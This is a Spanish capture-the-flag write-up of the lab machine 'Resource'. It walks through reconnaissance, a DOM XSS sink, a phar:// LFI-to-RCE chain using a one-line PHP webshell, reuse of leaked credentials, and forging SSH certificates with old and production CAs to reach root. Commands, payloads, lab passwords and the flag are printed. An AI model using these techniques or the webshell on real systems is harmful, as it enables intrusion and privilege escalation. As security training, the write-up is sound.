Resource
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Resource es una máquina Linux difícil sobre un sistema de tickets (SSG IT Resource Center) y, sobre todo, sobre el abuso de Autoridades de Certificación SSH. La web incluye páginas con un parámetro?page=vulnerable; subiendo un.zipcon unshell.phpy cargándolo con el wrapper phar:// obtenemos RCE comowww-data. Enuploads/hay volcados de peticiones con las credenciales demsainristil, que reutilizamos por SSH. A partir de ahí, una cadena de certificados SSH: con la CAca-itrc(decomisionada pero aún de confianza) firmamos certificados para los principaleszzintery luegorootdentro del contenedor; y con la CA de produccióntest.keyfirmamos un certificado para el principalroot_userque nos darooten el hostssg.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.2764 bytes from 10.10.11.27: icmp_seq=1 ttl=63 time=38.0 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.27 -oG scan
Discovered open port 80/tcp on 10.10.11.27
Discovered open port 22/tcp on 10.10.11.27
Discovered open port 2222/tcp on 10.10.11.27
Completed SYN Stealth Scan at 15:04, 15.14s elapsed (65535 total ports)
Not shown: 64118 closed tcp ports (reset), 1414 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62
80/tcp open http syn-ack ttl 63
2222/tcp open EtherNetIP-1 syn-ack ttl 63Tres puertos, y una asimetría que merece la pena leer despacio: el 22 responde con ttl 62 mientras el 80 y el 2222 lo hacen con ttl 63. Un salto más significa literalmente eso, que los paquetes del 22 atraviesan un enrutado adicional antes de llegar. Es el patrón de un servicio publicado desde dentro de un contenedor, y anticipa la estructura de la máquina antes de tocar nada.

Extracting information...
IP Address: 10.10.11.27
Open ports: 22,80,2222
Ports copied to clipboardnmap -p22,80,2222 -sCV 10.10.11.27
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 9.6p1 Ubuntu (Ubuntu Linux; protocol 2.0)Añadimos itrc.ssg.htb (y el dominio base ssg.htb) al /etc/hosts y abrimos la web.

La portada es puramente informativa: un texto de bienvenida y, arriba a la derecha, los dos únicos botones que llevan a algún sitio, Register y Login.

whatweb http://itrc.ssg.htb/
http://itrc.ssg.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.27], PHP[8.1.29], Script,
Title[IT Support Center], X-Powered-By[PHP/8.1.29]PHP 8.1.29 detrás de nginx. Que sea PHP importa: es lo que después hará posible el wrapper phar://.
dirsearch -u http://itrc.ssg.htb/
[15:09:21] 200 - 46B - /admin.php
[15:09:28] 301 - 310B - /api -> http://itrc.ssg.htb/api/
[15:09:29] 301 - 313B - /assets -> http://itrc.ssg.htb/assets/
[15:09:37] 200 - 46B - /dashboard.php
[15:09:38] 200 - 0B - /db.php
[15:09:45] 200 - 507B - /home.php
[15:09:51] 200 - 241B - /login.php
[15:09:51] 302 - 0B - /logout.php -> index.php
[15:10:04] 200 - 263B - /register.php
[15:10:16] 301 - 314B - /uploads -> http://itrc.ssg.htb/uploads/
Task CompletedDos tamaños hablan por sí solos: /admin.php y /dashboard.php devuelven 46 bytes (una redirección o un "no autorizado", no la página real) y /db.php devuelve 0 (existe pero no imprime nada, típico de un fichero de configuración incluido por otros). Y aparece /uploads, que es donde acabarán los adjuntos.
El IT Resource Center y el parámetro page
De los recursos que sacó dirsearch, el que más llama es admin.php. Pedirlo directamente no da error ni pantalla de login: devuelve la misma portada, es decir, la aplicación redirige a index a quien no tiene sesión en vez de admitir que la ruta existe.

La web es un sistema de tickets con su propio panel de acceso:

El registro está abierto, así que nos creamos una cuenta:

Y entramos con ella:


Lo primero que se prueba en un formulario que guarda texto es un XSS almacenado:


No pasa nada. Para saber por qué, se inspecciona el DOM y se sigue el rastro de dónde acaba el input:

Para verlo desde el otro lado se abre la pestaña Network y se repite la operación, creando un ticket normal con el inspector ya escuchando:

La respuesta a esa operación carga solo dos scripts propios del sitio: filter.js y flash.js.

302 POST itrc.ssg.htb create_ticket.php document html
200 GET itrc.ssg.htb / document html
200 GET itrc.ssg.htb filter.js script js
200 GET itrc.ssg.htb flash.js script js
200 GET cdn.jsdelivr.net bootstrap.bundle.min.js script js
404 GET itrc.ssg.htb favicon.icoEl primero se descarta enseguida: filter.js viene cacheado y su respuesta está vacía.

Queda flash.js, y ahí está la pieza:

function hideFlash() {
document.getElementById('flashMessage').style.display = 'none';
}
function showFlash(msg) {
document.getElementById('flashMessage').innerHTML = msg;
document.getElementById('flashMessage').style.display = 'block';
setTimeout(hideFlash, 5000);
}innerHTML = msg es un sink de DOM XSS de manual. Con un matiz importante: innerHTML no ejecuta etiquetas <script> insertadas así (por eso el intento anterior no hizo nada), pero sí ejecuta manejadores de eventos, que es la vía habitual (<img src=0 onerror=alert(1)>). Se comprueba desde la consola asignando la variable y llamando a la línea:
La línea que importa es una sola, y no sanea nada:

function showFlash(msg) {
document.getElementById('flashMessage').innerHTML = msg;
document.getElementById('flashMessage').style.display = 'block';
setTimeout(hideFlash, 5000);
}

El sink es real y explotable. Pero no le encontramos salida: para que un XSS escale hace falta una víctima con más privilegios que renderice el payload (un administrador revisando el ticket, un bot), y aquí no aparece ninguna que llegue a dispararlo. Sin ese consumidor privilegiado se queda en self-XSS, así que lo dejamos anotado como callejón sin salida y seguimos enumerando.
La pista buena está en la navegación: las páginas se cargan con index.php?page=<name>. Hacemos fuzzing de ese parámetro y aparecen, además de las visibles, dos interesantes: admin y db.
wfuzz -u 'http://itrc.ssg.htb/index.php?page=FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl 39
Target: http://itrc.ssg.htb/index.php?page=FUZZ
Total requests: 220559
Target: http://itrc.ssg.htb/index.php?page=FUZZ
Total requests: 220559
ID Response Lines Word Chars Payload
000000015: 200 34 L 96 W 2276 Ch "index"
000000065: 200 44 L 135 W 2842 Ch "register"
000000053: 200 43 L 126 W 2709 Ch "login"
000000259: 200 25 L 67 W 1331 Ch "admin"
000000848: 200 34 L 96 W 2276 Ch "db"
000001225: 200 38 L 136 W 2627 Ch "logout"
000002927: 200 25 L 67 W 1331 Ch "dashboard"
000005167: 200 25 L 67 W 1331 Ch "ticket"Además de las páginas ya visibles, aparecen dos que no lo estaban: admin y db.
Que el contenido se incluya a partir de ?page= es un patrón clásico de include($_GET['page'].".php"): un LFI. Por sí solo únicamente leería ficheros, pero combinado con la subida de adjuntos abre la puerta a ejecución de código.
Shell como www-data
De LFI a RCE con phar://
La aplicación nos deja subir ficheros a un ticket. Aprovechamos el wrapper phar://: un ZIP es un contenedor válido para PHP, así que metemos dentro un shell.php mínimo y lo incluimos desde el archivo. Primero el payload:
<?php system($_GET["cmd"]); ?>
Lo comprimimos en un .zip:
zip test.zip shell.php
adding: shell.php (stored 0%)Se sube como adjunto de un ticket cualquiera:

El servidor renombra lo subido usando el sha1sum del fichero, así que el nombre en uploads/ se puede calcular en local sin necesidad de mirar el listado:
sha1sum test.zip
Se incluye con el wrapper apuntando al fichero interno (sin extensión, porque el código ya añade .php):
http://itrc.ssg.htb/?page=phar://uploads/<sha1>.zip/shell&cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Cualquier otro comando funciona igual cambiando el cmd, y la respuesta se imprime en la propia página, encima del contenido del sitio. Un pwd sitúa la raíz de la aplicación:

/var/www/itrcTenemos ejecución de comandos como www-data.
Shell como msainristil
Credenciales en uploads/
En /var/www/itrc está el código fuente, y en db.php las credenciales de base de datos:

$servername = "127.0.0.1";
$username = "jj";
$password = "ugEG5rR5SG8uPD";
$dbname = "resourcecenter";Se prueban, y no valen desde fuera:

$ mysql -u jj -p"ugEG5rR5SG8uPD" -h 10.10.11.27 resourcecenter
ERROR 2002 (HY000): Can't connect to MySQL server on '10.10.11.27'El db.php apunta a 127.0.0.1, o sea que MySQL solo escucha en el bucle local del contenedor. Queda anotado como credencial sin uso inmediato, no como fracaso.
Lo jugoso está en uploads/:
?page=phar://uploads/<sha1>.zip/shell&cmd=ls uploads
c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
e88f8b393fe851e1abbf6f129f82cc456a1571f9.zip
e8c6575573384aeeab4d093cc99c7e5927614185.zip
eb65074fe37671509f24d1652a44944be61e4360.zipCuatro .zip de los que solo uno es nuestro. Los otros tres son adjuntos que subieron usuarios reales del sistema de tickets, y ahí es donde suele haber material. Para verlos sin perder el fichero descomprimido usamos unzip -p (envía el contenido a stdout mientras descomprime, sin escribir nada a disco, que es lo que hace falta cuando la webshell ejecuta cada comando en un proceso distinto):
unzip -p uploads/<sha1>.zip
...
"postData": {
"mimeType": "application/x-www-form-urlencoded",
"text": "user=msainristil&pass=82yards2closeit",
"params": [
{ "name": "user", "value": "msainristil" },
{ "name": "pass", "value": "82yards2closeit" }
]
},
...Entre los datos del formulario aparecen unas credenciales: msainristil / 82yards2closeit. Los otros dos .zip no traen contraseñas sino claves públicas:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1RS3oCZOLoHXlCKYKOBCiaQzNA9weEgvkEyVCr6Wrtlli8clZi5tJkZiRUyRkqrvR6lX3<SNIP>NFIsgFFGsJ+pUSMUIkZ/2/EfsPEmA1jfkzEAD18UH1PtXo4GehRAbKw9lcbu1MbQHMGJg+0W/95RxK+wy0NSLuwmycKvpY8MKO9MWP6UMoQmAhYEToulcfwrDGD9ncbzzTd1A951JWkpynGqVKazDIvvrb+MF1XXib2HYZ/7XGQs= mgraham@ssg.htb
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMI916//9yp/9z9HQn1OCxitlWqEYWkLoST6Z+5dNSBs bmcgregor@ssg.htbConviene cerrar este cabo desde ya: al ser solo la mitad pública del par no sirven para autenticarse por sí mismas (harían falta las privadas correspondientes, que no están en ninguna parte). Lo que sí aportan son dos nombres de usuario del dominio ssg.htb y la confirmación de que en esta máquina la autenticación va por clave, no por contraseña, que es la pista temática de todo lo que viene después. El camino real acabará pasando por el abuso de la CA, que nos deja firmar certificados para el principal que queramos, no por estas claves.
Acceso por SSH
Las credenciales se reutilizan en SSH y entramos como msainristil:
ssh msainristil@10.10.11.27
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
...
msainristil@itrc:~$ ls -la
total 32
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 .
drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root root 9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29 2024 .bashrc
-rw-r--r-- 1 msainristil msainristil 807 Mar 29 2024 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 decommission_old_caEl home está casi vacío salvo por un directorio que llama la atención: decommission_old_ca.
Shell como zzinter
Una CA "decomisionada" pero aún de confianza
El home de msainristil contiene un directorio decommission_old_ca con dos ficheros: ca-itrc (la clave privada de una Autoridad de Certificación SSH) y ca-itrc.pub.

Aquí entra el abuso de la CA: el sshd confía en las claves que firme esa CA, y quien tenga su clave privada puede firmarse un certificado para cualquier principal. Generamos un par de claves y firmamos un certificado para el principal zzinter; luego nos conectamos presentándolo:
ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Your identification has been saved in keypair
Your public key has been saved in keypair.pubssh-keygen -s ca-itrc -I my_hey -n zzinter keypair.pub
ssh -i keypair -o CertificateFile=keypair-cert.pub zzinter@localhost
Signed user key keypair-cert.pub: id "my_hey" serial 0 for zzinter valid forever
...
zzinter@itrc:~$La CA estaba "decomisionada", pero nunca se retiró de la confianza del sshd: sus firmas siguen siendo válidas. Ya somos zzinter.
Shell como root en el contenedor
La misma CA ca-itrc no está restringida solo a zzinter. Repetimos la jugada firmando ahora un certificado para el principal root y nos conectamos al SSH local:
Ya como zzinter, se genera un par de claves nuevo desde su propia sesión y se ajustan los permisos de la CA (sin el chmod, ssh-keygen rechaza la clave por ser legible por otros):
ssh-keygen -t rsa -b 2048 -f keypair
chmod 600 ca-itrc
zzinter@itrc:~$ ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:GolpOQ8RCnhwIHUb3brWcMsXIEan66mJm4CLXKc9f54 zzinter@itrcEl zzinter@itrc del fingerprint confirma de paso que la sesión anterior funcionó.
ssh-keygen -s ca-itrc -n root -I my_key keypair.pub
ssh -i keypair -o CertificateFile=keypair-cert.pub root@localhost
Signed user key keypair-cert.pub: id "my_key" serial 0 for root valid forever
Somos root, pero dentro del sistema itrc (el del resource center). El objetivo final es el host ssg.
Shell como root en ssg
La CA de producción
Como root@itrc exploramos el sistema y encontramos la CA de producción:

Esta es la que usa el host real ssg para autenticar por certificado, pero con dos condiciones que la anterior no tenía: una lista de revocación por número de serie y un principal distinto del nombre de usuario. Así que al firmar fijamos un serial concreto (-z 200) que no esté revocado, y el principal que el host espera para root: root_user.
ssh-keygen -s test.key -z 200 -I root -V -10w:forever -n root_user root.pub![]()
Signed user key root-cert.pub: id "root" serial 200 for root_user valid after 2024-09-01T00:49:28Acceso final
Con ese certificado nos conectamos al SSH del host (puerto 2222) como root, y caemos en ssg, donde leemos la flag final:
ssh -i root -o CertificateFile=root-cert.pub -p 2222 root@10.10.11.27
root@ssg:~# cat root.txt
fb835bc631777ffd9234313a3e2760c9Cadena de ataque
web itrc.ssg.htb (index.php?page=)
│ subir shell.php en un .zip a un ticket
│ ?page=phar://uploads/<sha1>.zip/shell&cmd=... (phar:// LFI→RCE)
▼
www-data @ itrc
│ uploads/*.zip → unzip -p → user=msainristil / pass=82yards2closeit
▼
msainristil @ itrc (ssh, reutilización de credenciales)
│ ~/decommission_old_ca/ca-itrc (CA SSH aún de confianza)
│ ssh-keygen -s ca-itrc -n zzinter ...
▼
zzinter @ itrc
│ ssh-keygen -s ca-itrc -n root ...
▼
root @ itrc (contenedor)
│ /opt/test.key (CA de producción) → ssh-keygen -s test.key -z 200 -n root_user ...
▼
root @ ssg (host, ssh -p2222) → root.txtLecciones aprendidas
- LFI + subida de ficheros = RCE con
phar://. Incluir páginas a partir de?page=y permitir adjuntar archivos basta para ejecutar código: un ZIP con unshell.phpcargado con el wrapper phar:// da una webshell. No incluir ficheros con entrada del usuario y guardar las subidas fuera del web root. - No guardes secretos en lo que el usuario sube. Los
uploads/contenían volcados de peticiones con contraseñas en claro, reutilizables por SSH. - Una CA SSH es una llave maestra. Quien tenga la clave privada de la CA puede firmarse certificados para cualquier principal, incluido
root; ver abuso de CA SSH. Protege esa clave como el secreto más sensible y usa certificados de vida corta. - Decomisionar de verdad. El fallo central es que
ca-itrcse dio por retirada pero elsshdseguía confiando en ella. Y en la CA de producción, la lista de revocación por serial se sorteó eligiendo un serial no revocado: las revocaciones por número de serie son frágiles si un atacante puede firmar a su antojo.